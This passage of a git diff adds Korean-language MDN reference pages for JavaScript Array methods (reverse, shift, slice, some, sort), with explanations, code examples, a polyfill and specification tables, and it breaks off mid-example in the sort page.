+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.22', 'Array.prototype.reduceRight')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.8.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.reduceright', 'Array.prototype.reduceRight')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.reduceright', 'Array.prototype.reduceRight')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.Array.reduceRight")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.reduce()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/reverse/index.html b/files/ko/web/javascript/reference/global_objects/array/reverse/index.html
new file mode 100644
index 0000000000..95b4c1a348
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/reverse/index.html
@@ -0,0 +1,87 @@
+---
+title: Array.prototype.reverse()
+slug: Web/JavaScript/Reference/Global_Objects/Array/reverse
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/reverse
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>reverse()</strong></code> 메서드는 배열의 순서를 반전합니다. 첫 번째 요소는 마지막 요소가 되며 마지막 요소는 첫 번째 요소가 됩니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-reverse.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>a</var>.reverse()</code></pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>순서가 반전된 배열.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>reverse</code> 메서드는 호출한 배열을 반전하고 원본 배열을 변형하며 그 참조를 반환합니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="배열의_요소를_반전하기">배열의 요소를 반전하기</h3>
+
+<p>다음 예시는 3개의 요소가 든 myArray 배열을 만든 후, 반전시킵니다.</p>
+
+<pre><code>const a = [1, 2, 3];
+console.log(a); // [1, 2, 3]
+
+a.reverse();
+console.log(a); // [3, 2, 1]</code></pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.8', 'Array.prototype.reverse')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.reverse', 'Array.prototype.reverse')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.reverse', 'Array.prototype.reverse')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.Array.reverse")}}</div>
+
+<div id="compat-desktop"> </div>
+
+<div id="compat-mobile"> </div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.join()")}}</li>
+ <li>{{jsxref("Array.prototype.sort()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.reverse()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/shift/index.html b/files/ko/web/javascript/reference/global_objects/array/shift/index.html
new file mode 100644
index 0000000000..bf610b95f9
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/shift/index.html
@@ -0,0 +1,102 @@
+---
+title: Array.prototype.shift()
+slug: Web/JavaScript/Reference/Global_Objects/Array/shift
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/shift
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>shift()</code></strong> 메서드는 배열에서 첫 번째 요소를 제거하고, 제거된 요소를 반환합니다. 이 메서드는 배열의 길이를 변하게 합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-shift.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.shift()</code>
+</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>배열에서 제거한 요소. 빈 배열의 경우 {{jsxref("undefined")}} 를 반환합니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>shift</code> 메서드는 0번째 위치의 요소를 제거 하고 연이은 나머지 값들의 위치를 한칸 씩 앞으로 당깁니다. 그리고 제거된 값을 반환 합니다. 만약 배열의 {{jsxref("Array.length", "length")}}가 0이라면 {{jsxref("undefined")}}를 리턴 합니다.</p>
+
+<p><code>shift</code>는 의도적인 일반형태로써; 이 메서드는 배열과 유사한 형태의 객체에서  {{jsxref("Function.call", "호출", "", 1)}} 하거나 {{jsxref("Function.apply", "적용", "", 1)}} 할 수 있습니다. 연속된 일련의 마지막 항목을 나타내는 길이 속성을 가지고 있지 않은 객체의 제로베이스 수치 속성에는 의미 있는 작동을 하지 않을 수 있습니다. (<em>Objects which do not contain a <code>length</code> property reflecting the last in a series of consecutive, zero-based numerical properties may not behave in any meaningful manner</em>.)</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="배열에서_한_요소_제거하기">배열에서 한 요소 제거하기</h3>
+
+<p>아래 코드는 <code>myFish</code> 라는 배열에서 첫번째 요소를 제거 하기 전과 후를 보여 줍니다.  그리고 제거된 요소도 보여줍니다.</p>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'surgeon'];
+
+console.log('myFish before: ' + myFish);
+// "제거전 myFish 배열: angel,clown,mandarin,surgeon"
+
+var shifted = myFish.shift();
+
+console.log('myFish after: ' + myFish);
+// "제거후 myFish 배열: clown,mandarin,surgeon"
+
+console.log('Removed this element: ' + shifted);
+// "제거된 배열 요소: angel"
+</pre>
+
+<h3 id="while_반복문_안에서_shift()_사용하기">while 반복문 안에서 shift() 사용하기</h3>
+
+<p>shift() 메서드는 while 문의 조건으로 사용되기도 합니다. 아래 코드에서는 while 문을 한번 돌 때 마다 배열의 다음 요소를 제거하고, 이는 빈 배열이 될 때까지 반복됩니다.</p>
+
+<pre><code>var names = ["Andrew", "Edward", "Paul", "Chris" ,"John"];
+
+while( (i = names.shift()) !== undefined ) {
+    console.log(i);
+}
+// Andrew, Edward, Paul, Chris, John</code>
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.9', 'Array.prototype.shift')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.shift', 'Array.prototype.shift')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Array.shift")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.push()")}}</li>
+ <li>{{jsxref("Array.prototype.pop()")}}</li>
+ <li>{{jsxref("Array.prototype.unshift()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/slice/index.html b/files/ko/web/javascript/reference/global_objects/array/slice/index.html
new file mode 100644
index 0000000000..a5264b1f86
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/slice/index.html
@@ -0,0 +1,155 @@
+---
+title: Array.prototype.slice()
+slug: Web/JavaScript/Reference/Global_Objects/Array/slice
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/slice
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>slice()</strong></code><strong> </strong>메서드는 어떤 배열의 <code>begin</code>부터 <code>end</code>까지(<code>end</code> 미포함)에 대한 얕은 복사본을 새로운 배열 객체로 반환합니다. 원본 배열은 바뀌지 않습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-slice.html")}}</div>
+
+<p class="hidden">The source for this interactive demo is stored in a GitHub repository. If you'd like to contribute to the interactive demo project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>arr</var>.slice([<em>begin</em>[, <em>end</em>]])
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>begin</code> {{optional_inline}}</dt>
+ <dd>0을 시작으로 하는 추출 시작점에 대한 인덱스를 의미합니다.</dd>
+ <dd>음수 인덱스는 배열의 끝에서부터의 길이를 나타냅니다. <code>slice(-2)</code> 는 배열에서 마지막 두 개의 엘리먼트를 추출합니다.</dd>
+ <dd><code>begin</code>이 <code>undefined</code>인 경우에는, 0번 인덱스부터 <code>slice</code> 합니다.</dd>
+ <dd><code>begin</code>이 배열의 길이보다 큰 경우에는, 빈 배열을 반환합니다.</dd>
+ <dt><code>end</code> {{optional_inline}}</dt>
+ <dd>추출을 종료 할 0 기준 인덱스입니다. <code>slice</code> 는 <code>end</code> 인덱스를 제외하고 추출합니다.</dd>
+ <dd>예를 들어, <code>slice(1,4)</code>는 두번째 요소부터 네번째 요소까지 (1, 2 및 3을 인덱스로 하는 요소) 추출합니다.</dd>
+ <dd>음수 인덱스는 배열의 끝에서부터의 길이를 나타냅니다. 예를들어 <code>slice(2,-1)</code> 는 세번째부터 끝에서 두번째 요소까지 추출합니다.</dd>
+ <dd><code>end</code>가 생략되면 <code>slice()</code>는 배열의 끝까지(<code>arr.length</code>) 추출합니다.</dd>
+</dl>
+
+<p>     만약 <code>end</code> 값이 배열의 길이보다 크다면, <code>silce()</code>는 배열의 끝까지(<code>arr.length</code>) 추출합니다.</p>
+
+<dl>
+ <dt>
+ <h3 id="반환_값">반환 값</h3>
+ </dt>
+</dl>
+
+<p>추출한 요소를 포함한 새로운 배열.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>slice()</code>는 원본을 대체하지 않습니다. 원본 배열에서 요소의 얕은 복사본을 반환합니다. 원본 배열의 요소는 다음과 같이 반환 된 배열에 복사됩니다:</p>
+
+<ul>
+ <li>객체 참조(및 실제 객체가 아님)의 경우, <code>slice()</code>는 객체 참조를 새 배열로 복사합니다. 원본 배열과 새 배열은 모두 동일한 객체를 참조합니다. 참조 된 객체가 변경되면 변경 내용은 새 배열과 원래 배열 모두에서 볼 수 있습니다.</li>
+ <li>{{jsxref ("String")}} 및 {{jsxref("Number")}} 객체가 아닌 문자열과 숫자의 경우 <code>slice()</code>는 문자열과 숫자를 새 배열에 복사합니다. 한 배열에서 문자열이나 숫자를 변경해도 다른 배열에는 영향을 주지 않습니다.</li>
+</ul>
+
+<p>새 요소를 두 배열 중 하나에 추가해도 다른 배열은 영향을 받지 않습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기존_배열의_일부_반환">기존 배열의 일부 반환</h3>
+
+<pre class="brush: js">let fruits = ['Banana', 'Orange', 'Lemon', 'Apple', 'Mango']
+let citrus = fruits.slice(1, 3)
+
+// fruits contains ['Banana', 'Orange', 'Lemon', 'Apple', 'Mango']
+// citrus contains ['Orange','Lemon']</pre>
+
+<h3 id="slice_사용하기"><code>slice</code> 사용하기</h3>
+
+<p>다음 예제에서 <code>slice()</code>는 <code>myCar</code>에서 <code>newCar</code>라는 새 배열을 만듭니다. 두 가지 모두 <code>myHonda</code> 객체에 대한 참조를 포함합니다. <code>myHonda</code>의 색상이 자주색으로 변경되면 두 배열 모두 변경 사항을 반영합니다.</p>
+
+<pre class="brush: js">// Using slice, create newCar from myCar.
+let myHonda = { color: 'red', wheels: 4, engine: { cylinders: 4, size: 2.2 } }
+let myCar = [myHonda, 2, 'cherry condition', 'purchased 1997']
+let newCar = myCar.slice(0, 2)
+
+// Display the values of myCar, newCar, and the color of myHonda
+//  referenced from both arrays.
+console.log('myCar = ' + JSON.stringify(myCar))
+console.log('newCar = ' + JSON.stringify(newCar))
+console.log('myCar[0].color = ' + myCar[0].color)
+console.log('newCar[0].color = ' + newCar[0].color)
+
+// Change the color of myHonda.
+myHonda.color = 'purple'
+console.log('The new color of my Honda is ' + myHonda.color)
+
+// Display the color of myHonda referenced from both arrays.
+console.log('myCar[0].color = ' + myCar[0].color)
+console.log('newCar[0].color = ' + newCar[0].color)</pre>
+
+<p>스크립트를 실행하면 다음과 같은 기록을 남깁니다.</p>
+
+<pre>myCar = [{color: 'red', wheels: 4, engine: {cylinders: 4, size: 2.2}}, 2,
+         'cherry condition', 'purchased 1997']
+newCar = [{color: 'red', wheels: 4, engine: {cylinders: 4, size: 2.2}}, 2]
+myCar[0].color = red
+newCar[0].color = red
+The new color of my Honda is purple
+myCar[0].color = purple
+newCar[0].color = purple</pre>
+
+<h3 id="배열형_객체">배열형 객체</h3>
+
+<p><code>slice()</code> 메서드를 호출하여 배열형 객체와 콜렉션을 새로운 <code>Array</code>로 변환할 수 있습니다. 단순히 {{jsxref("Function.prototype.bind()")}}를 사용해 객체에 <code>slice()</code>를 바인딩 하면 됩니다. 대표적인 "배열형 객체"의 예시는 함수 내의 {{jsxref("Functions/arguments", "arguments")}}입니다.</p>
+
+<pre class="brush: js">function list() {
+  return Array.prototype.slice.call(arguments);
+}
+
+let list1 = list(1, 2, 3); // [1, 2, 3]
+</pre>
+
+<p>{{jsxref("Function.prototype.call()")}} 메서드를 사용해서도 바인딩을 할 수 있으며, <code>Array.prototype.slice.call</code> 대신 더 짧게 <code>[].slice.call</code>로 작성할 수도 있습니다.</p>
+
+<p>아무튼, 다음과 같이 {{jsxref("Function.prototype.bind", "bind()")}}를 사용해 줄일 수 있습니다.</p>
+
+<pre class="brush: js">let unboundSlice = Array.prototype.slice
+let slice = Function.prototype.call.bind(unboundSlice)
+
+function list() {
+  return slice(arguments)
+}
+
+let list1 = list(1, 2, 3) // [1, 2, 3]</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.slice', 'Array.prototype.slice')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Array.slice")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.splice()")}}</li>
+ <li>{{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Function.prototype.bind()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/some/index.html b/files/ko/web/javascript/reference/global_objects/array/some/index.html
new file mode 100644
index 0000000000..8fbe19bcda
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/some/index.html
@@ -0,0 +1,202 @@
+---
+title: Array.prototype.some()
+slug: Web/JavaScript/Reference/Global_Objects/Array/some
+tags:
+  - Array
+  - ECMAScript 5
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/some
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>some()</strong></code> 메서드는 배열 안의 어떤 요소라도 주어진 판별 함수를 통과하는지 테스트합니다.</p>
+
+<div class="note">
+<p><strong>참고</strong>: 빈 배열에서 호출하면 무조건 <code>false</code>를 반환합니다.</p>
+</div>
+
+<p>{{EmbedInteractiveExample("pages/js/array-some.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.some(<var>callback</var>[, <var>thisArg</var>])</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>각 요소를 시험할 함수. 다음 세 가지 인수를 받습니다.
+ <dl>
+  <dt><code>currentValue</code></dt>
+  <dd>처리할 현재 요소.</dd>
+  <dt><code>index</code> {{Optional_inline}}</dt>
+  <dd>처리할 현재 요소의 인덱스.</dd>
+  <dt><code>array</code> {{Optional_inline}}</dt>
+  <dd><code>some</code>을 호출한 배열.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code> {{Optional_inline}}</dt>
+ <dd><code>callback</code>을 실행할 때 <code>this</code>로 사용하는 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p><code>callback</code>이 어떤 배열 요소라도 대해 참인({{Glossary("truthy")}}) 값을 반환하는 경우 <code><strong>true</strong></code>, 그 외엔 <code><strong>false</strong></code>.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>some</code>은 <code>callback</code>이 참(불린으로 변환했을 때 <code>true</code>가 되는 값)을 반환하는 요소를 찾을 때까지 배열에 있는 각 요소에 대해 한 번씩 <code>callback</code> 함수를 실행합니다. 해당하는 요소를 발견한 경우 <code>some</code>은 즉시 <code>true</code>를 반환합니다. 그렇지 않으면, 즉 모든 값에서 거짓을 반환하면 <code>false</code>를 반환합니다. 할당한 값이 있는 배열의 인덱스에서만 <code>callback</code>을 호출합니다. 삭제했거나 값을 할당한 적이 없는 인덱스에서는 호출하지 않습니다.</p>
+
+<p><code>callback</code>은 요소의 값, 해당 요소의 인덱스 및 순회하고 있는 배열 세 가지 인수와 함께 호출됩니다.</p>
+
+<p><code>thisArg</code> 매개변수를 <code>some</code>에 제공한 경우 <code>callback</code>의 <code>this</code>로 사용됩니다. 그 외엔 {{jsxref("undefined")}}값을 사용합니다. 최종적으로 <code>callback</code>이 볼 수 있는 <code>this</code>의 값은 <a href="/ko/docs/Web/JavaScript/Reference/Operators/this">함수가 볼 수 있는 <code>this</code>를 결정하는 평소 규칙</a>을 따릅니다.</p>
+
+<p><code>some</code>은 호출한 배열을 변형하지 않습니다.</p>
+
+<p><code>some</code>이 처리하는 요소의 범위는 <code>callback</code>의 첫 호출 전에 설정됩니다. <code>some</code> 호출 이후로 배열에 추가하는 요소는 <code>callback</code>이 방문하지 않습니다. 배열에 원래 있었지만 아직 방문하지 않은 요소가 <code>callback</code>에 의해 변경된 경우, 그 인덱스를 방문하는 시점의 값을 사용합니다. 삭제한 요소는 방문하지 않습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="배열의_요소_테스트">배열의 요소 테스트</h3>
+
+<p>다음 예제는 배열 내 요소 중 하나라도 10보다 큰지 판별합니다.</p>
+
+<pre class="brush: js">function isBiggerThan10(element, index, array) {
+  return element &gt; 10;
+}
+[2, 5, 8, 1, 4].some(isBiggerThan10);  // false
+[12, 5, 8, 1, 4].some(isBiggerThan10); // true
+</pre>
+
+<h3 id="화살표_함수를_사용한_배열의_요소_테스트">화살표 함수를 사용한 배열의 요소 테스트</h3>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Functions/애로우_펑션">화살표 함수</a>는 같은 테스트에 대해 더 짧은 구문을 제공합니다.</p>
+
+<pre class="brush: js">[2, 5, 8, 1, 4].some(elem =&gt; elem &gt; 10);  // false
+[12, 5, 8, 1, 4].some(elem =&gt; elem &gt; 10); // true
+</pre>
+
+<h3 id="값이_배열_내_존재하는지_확인">값이 배열 내 존재하는지 확인</h3>
+
+<p>다음 예제는 요소가 하나라도 배열 내 존재하는 경우 <code>true</code>를 반환합니다.</p>
+
+<pre class="brush: js">var fruits = ['apple', 'banana', 'mango', 'guava'];
+
+function checkAvailability(arr, val) {
+    return arr.some(function(arrVal) {
+        return val === arrVal;
+    });
+}
+
+checkAvailability(fruits, 'kela'); //false
+checkAvailability(fruits, 'banana'); //true</pre>
+
+<h3 id="화살표_함수를_사용하여_값이_존재하는지_확인">화살표 함수를 사용하여 값이 존재하는지 확인</h3>
+
+<pre class="brush: js">var fruits = ['apple', 'banana', 'mango', 'guava'];
+
+function checkAvailability(arr, val) {
+    return arr.some(arrVal =&gt; val === arrVal);
+}
+
+checkAvailability(fruits, 'kela'); //false
+checkAvailability(fruits, 'banana'); //true</pre>
+
+<h3 id="모든_값을_불린으로_변환">모든 값을 불린으로 변환</h3>
+
+<pre class="brush: js">var TRUTHY_VALUES = [true, 'true', 1];
+
+function getBoolean(a) {
+    'use strict';
+
+    var value = a;
+
+    if (typeof value === 'string') {
+        value = value.toLowerCase().trim();
+    }
+
+    return TRUTHY_VALUES.some(function(t) {
+        return t === value;
+    });
+}
+
+getBoolean(false); // false
+getBoolean('false'); // false
+getBoolean(1); // true
+getBoolean('true'); // true</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p><code><font face="consolas, Liberation Mono, courier, monospace">some</font></code>은 ECMA-262 표준 제5판에 추가됐습니다. 따라서 어떤 표준 구현체에서는 사용할 수 없을 수도 있습니다. 다른 모든 코드 이전에 아래 코드를 포함하면 지원하지 않는 환경에서도 <code>some</code>을 사용할 수 있습니다. 아래 알고리즘은 {{jsxref("Object")}}와 {{jsxref("TypeError")}}가 변형되지 않고, <code>fun.call</code>의 계산 값이 원래의 {{jsxref("Function.prototype.call()")}}과 같은 경우 ECMA-262 제5판이 명시한 것과 동일합니다.</p>
+
+<pre class="brush: js">// ECMA-262 5판, 15.4.4.17항의 작성 과정
+// 출처: http://es5.github.io/#x15.4.4.17
+if (!Array.prototype.some) {
+  Array.prototype.some = function(fun/*, thisArg*/) {
+    'use strict';
+
+    if (this == null) {
+      throw new TypeError('Array.prototype.some called on null or undefined');
+    }
+
+    if (typeof fun !== 'function') {
+      throw new TypeError();
+    }
+
+    var t = Object(this);
+    var len = t.length &gt;&gt;&gt; 0;
+
+    var thisArg = arguments.length &gt;= 2 ? arguments[1] : void 0;
+    for (var i = 0; i &lt; len; i++) {
+      if (i in t &amp;&amp; fun.call(thisArg, t[i], i, t)) {
+        return true;
+      }
+    }
+
+    return false;
+  };
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.17', 'Array.prototype.some')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>초기 정의. JavaScript 1.6에서 구현됨.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.some', 'Array.prototype.some')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.some', 'Array.prototype.some')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Array.some")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.some()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/sort/index.html b/files/ko/web/javascript/reference/global_objects/array/sort/index.html
new file mode 100644
index 0000000000..ddab9a428f
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/sort/index.html
@@ -0,0 +1,245 @@
+---
+title: Array.prototype.sort()
+slug: Web/JavaScript/Reference/Global_Objects/Array/sort
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/sort
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>sort()</strong></code> 메서드는 배열의 요소를 적절한 위치에 정렬한 후 그 배열을 반환합니다. 정렬은 <a href="https://en.wikipedia.org/wiki/Sorting_algorithm#Stability">stable sort</a>가 아닐 수 있습니다. 기본 정렬 순서는 문자열의 유니코드 코드 포인트를 따릅니다.</p>
+
+<p>정렬 속도와 복잡도는 각 구현방식에 따라 다를 수 있습니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-sort.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>arr</var>.sort([<var>compareFunction]</var>)
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>compareFunction</code> {{optional_inline}}</dt>
+ <dd>정렬 순서를 정의하는 함수. 생략하면 배열은 각 요소의 문자열 변환에 따라 각 문자의 유니 코드 코드 포인트 값에 따라 정렬됩니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>정렬한 배열. 원 배열이 정렬되는 것에 유의하세요. 복사본이 만들어지는 것이 아닙니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>compareFunction</code>이 제공되지 않으면 요소를 문자열로 변환하고 유니 코드 코드 포인트 순서로 문자열을 비교하여 정렬됩니다. 예를 들어 "바나나"는 "체리"앞에옵니다. 숫자 정렬에서는 9가 80보다 앞에 오지만 숫자는 문자열로 변환되기 때문에 "80"은 유니 코드 순서에서 "9"앞에옵니다.</p>
+
+<p><code>compareFunction</code>이 제공되면 배열 요소는 compare 함수의 반환 값에 따라 정렬됩니다. a와 b가 비교되는 두 요소라면,</p>
+
+<ul>
+ <li><code>compareFunction(a, b)</code>이 0보다 작은 경우 a를 b보다 낮은 색인으로 정렬합니다. 즉, a가 먼저옵니다.</li>
+ <li><code>compareFunction(a, b)</code>이 0을 반환하면 a와 b를 서로에 대해 변경하지 않고 모든 다른 요소에 대해 정렬합니다. 참고 : ECMAscript 표준은 이러한 동작을 보장하지 않으므로 모든 브라우저(예 : Mozilla 버전은 적어도 2003 년 이후 버전 임)가 이를 존중하지는 않습니다.</li>
+ <li><code>compareFunction(a, b)</code>이 0보다 큰 경우, b를 a보다 낮은 인덱스로 소트합니다.</li>
+ <li><code>compareFunction(a, b)</code>은 요소 a와 b의 특정 쌍이 두 개의 인수로 주어질 때 항상 동일한 값을 반환해야합니다. 일치하지 않는 결과가 반환되면 정렬 순서는 정의되지 않습니다.</li>
+</ul>
+
+<p>따라서 compare 함수의 형식은 다음과 같습니다.</p>
+
+<pre class="brush: js">function compare(a, b) {
+  if (a is less than b by some ordering criterion) {
+    return -1;
+  }
+  if (a is greater than b by the ordering criterion) {
+    return 1;
+  }
+  // a must be equal to b
+  return 0;
+}
+</pre>
+
+<p>문자열 대신 숫자를 비교하기 위해 compare 함수는 a에서 b를 뺄 수 있습니다. 다음 함수는 배열을 오름차순으로 정렬합니다 (Infinity 및 NaN이 포함되어 있지 않은 경우).</p>
+
+<pre class="brush: js">function compareNumbers(a, b) {
+  return a - b;
+}
+</pre>
+
+<p>sort 메소드는 {{jsxref ( "연산자 / 함수", "함수식", "", 1)}} (및 클로저)와 함께 편리하게 사용할 수 있습니다.</p>
+
+<pre class="brush: js">var numbers = [4, 2, 5, 1, 3];
+numbers.sort(function(a, b) {
+  return a - b;
+});
+console.log(numbers);
+
+// [1, 2, 3, 4, 5]
+</pre>
+
+<p>개체는 해당 속성 중 하나의 값을 기준으로 정렬 할 수 있습니다.</p>
+
+<pre class="brush: js">var items = [
+  { name: 'Edward', value: 21 },
+  { name: 'Sharpe', value: 37 },
+  { name: 'And', value: 45 },
+  { name: 'The', value: -12 },
+  { name: 'Magnetic', value: 13 },
+  { name: 'Zeros', value: 37 }
+];
+
+// value 기준으로 정렬
+items.sort(function (a, b) {
+  if (a.value &gt; b.value) {
+    return 1;
+  }
+  if (a.value &lt; b.value) {
+    return -1;
+  }
+  // a must be equal to b
+  return 0;
+});
+
+// name 기준으로 정렬
+items.sort(function(a, b) {
+  var nameA = a.name.toUpperCase(); // ignore upper and lowercase
+  var nameB = b.name.toUpperCase(); // ignore upper and lowercase
+  if (nameA &lt; nameB) {
+    return -1;
+  }
+  if (nameA &gt; nameB) {
+    return 1;
+  }
+
+  // 이름이 같을 경우
+  return 0;
+});</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="배열_만들기_표시_및_정렬">배열 만들기, 표시 및 정렬</h3>
+
+<p>다음 예제에서는 네 개의 배열을 만들고 원래 배열을 표시 한 다음 정렬 된 배열을 표시합니다. 숫자 배열은 비교 함수없이 정렬 된 다음 비교 함수로 정렬됩니다.</p>
+
+<pre class="brush: js">var stringArray = ['Blue', 'Humpback', 'Beluga'];
+var numericStringArray = ['80', '9', '700'];
+var numberArray = [40, 1, 5, 200];
+var mixedNumericArray = ['80', '9', '700', 40, 1, 5, 200];
+
+function compareNumbers(a, b) {
+  return a - b;
+}
+
+console.log('stringArray:', stringArray.join());
